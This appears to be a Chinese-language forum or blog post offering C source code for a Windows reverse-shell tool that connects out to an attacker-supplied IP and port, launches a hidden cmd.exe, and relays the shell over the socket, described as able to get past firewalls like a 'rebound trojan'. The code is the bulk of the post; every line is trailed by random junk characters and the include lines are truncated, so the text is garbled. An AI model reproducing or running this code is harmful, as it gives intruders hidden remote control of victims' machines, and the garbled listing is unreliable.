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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y_;LTCj?  
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/* ============================== ]_G!(`Udh  
Rebound port in Windows NT TGlIt<&  
By wind,2006/7 rd vq(\A  
===============================*/ lb{<}1YR0o  
#include M[g9D  
#include |kB1>$  
}uz*6Z(S  
#pragma comment(lib,"wsock32.lib") 0Rz'#O32V  
}lvD 5  
void OutputShell(); G];5'd~C;d  
SOCKET sClient; xPl+ rsU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =$`EB  
2^'|[*$k1@  
void main(int argc,char **argv) .v?Ir)  
{ \#?n'qyj  
WSADATA stWsaData; HTA@en[5  
int nRet; 7 ^>UUdk(  
SOCKADDR_IN stSaiClient,stSaiServer; Vcm9:,Xlw  
87.b7 b.  
if(argc != 3) {9S=:  
{ ~G+o;N,V  
printf("Useage:\n\rRebound DestIP DestPort\n"); <x e=G]v  
return; $[x2L s~  
} ?fr -5&,  
16Ym*kWIps  
WSAStartup(MAKEWORD(2,2),&stWsaData); V<A_c^unO  
EdbL AagI6  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T1sb6CT  
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stSaiClient.sin_family = AF_INET; I CCmE#n  
stSaiClient.sin_port = htons(0); E`]lr[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;<i`6e  
c'ExZ)RJ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J\VG/)E  
{ lv\C(^mGq  
printf("Bind Socket Failed!\n"); nK=-SQ  
return; f_y+B]?'M  
} k`[ L  
u2%/</]h  
stSaiServer.sin_family = AF_INET; MY1s  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1n|)05p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l?F-w;wHN  
|wW_Z!fL  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9)N/J\b  
{ &.~Xl:lq  
printf("Connect Error!"); R-CFF  
return; "N\>v#>C  
} #!!Ea'3Iq  
OutputShell(); jLRUWg  
} WtlPgT;wE  
;[9WB<t  
void OutputShell() I[E/)R{\  
{ IWbW=0IsS  
char szBuff[1024]; |a/1mUxQ&  
SECURITY_ATTRIBUTES stSecurityAttributes; M`^;h:DN^  
OSVERSIONINFO stOsversionInfo;  0].*eM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  lt%bGjk  
STARTUPINFO stStartupInfo; QhV!%}7  
char *szShell; rN* , U\q  
PROCESS_INFORMATION stProcessInformation; H%2Y8}  
unsigned long lBytesRead; aM/sD=}  
B^`'2$3  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jF4h/((|EU  
H]>b<Cs  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z@5t7e)!R  
stSecurityAttributes.lpSecurityDescriptor = 0; (9R;a np  
stSecurityAttributes.bInheritHandle = TRUE; ~{MmUp rS  
u7R:7$H  
l{OU \  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Hp`Mp)1s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9;,_Q q  
E5@U~|V[  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g_{hB5N](7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (KQAKEhD!  
stStartupInfo.wShowWindow = SW_HIDE; wbg_%h:  
stStartupInfo.hStdInput = hReadPipe; ,jVj9m  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =pHWqGOD  
p<hV7x-{  
GetVersionEx(&stOsversionInfo); T 9lk&7W  
V$e\84<  
switch(stOsversionInfo.dwPlatformId) U-+%e:v  
{ uEp v l  
case 1: /Hxz@=LC1  
szShell = "command.com"; >(>Fx\z}  
break; 1%W|>M`  
default: h!#!}|Q'  
szShell = "cmd.exe"; +Ja9p  
break; 38(Cj~u=3  
} LZC)vF5  
&Z Ja}5k!r  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |/LCwq%  
'J*)o<%  
send(sClient,szMsg,77,0); QvB]?D#h  
while(1) tTa" JXG  
{ ,1>ABz  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X[pk9mha  
if(lBytesRead) qSj$0Hq5XI  
{ p_z_d6?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ZUE?19GA  
send(sClient,szBuff,lBytesRead,0); -26GOS_8z  
} T/8*c0mU  
else 9n][#I)a3  
{  &gIDcZ  
lBytesRead=recv(sClient,szBuff,1024,0); f#9DU}2m  
if(lBytesRead<=0) break; e*[M*u  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t%jB[w&,os  
} N"d*pi#h  
} 6fxf|R\  
E2f9J{ Ki=  
return; ?<@yo&)  
}
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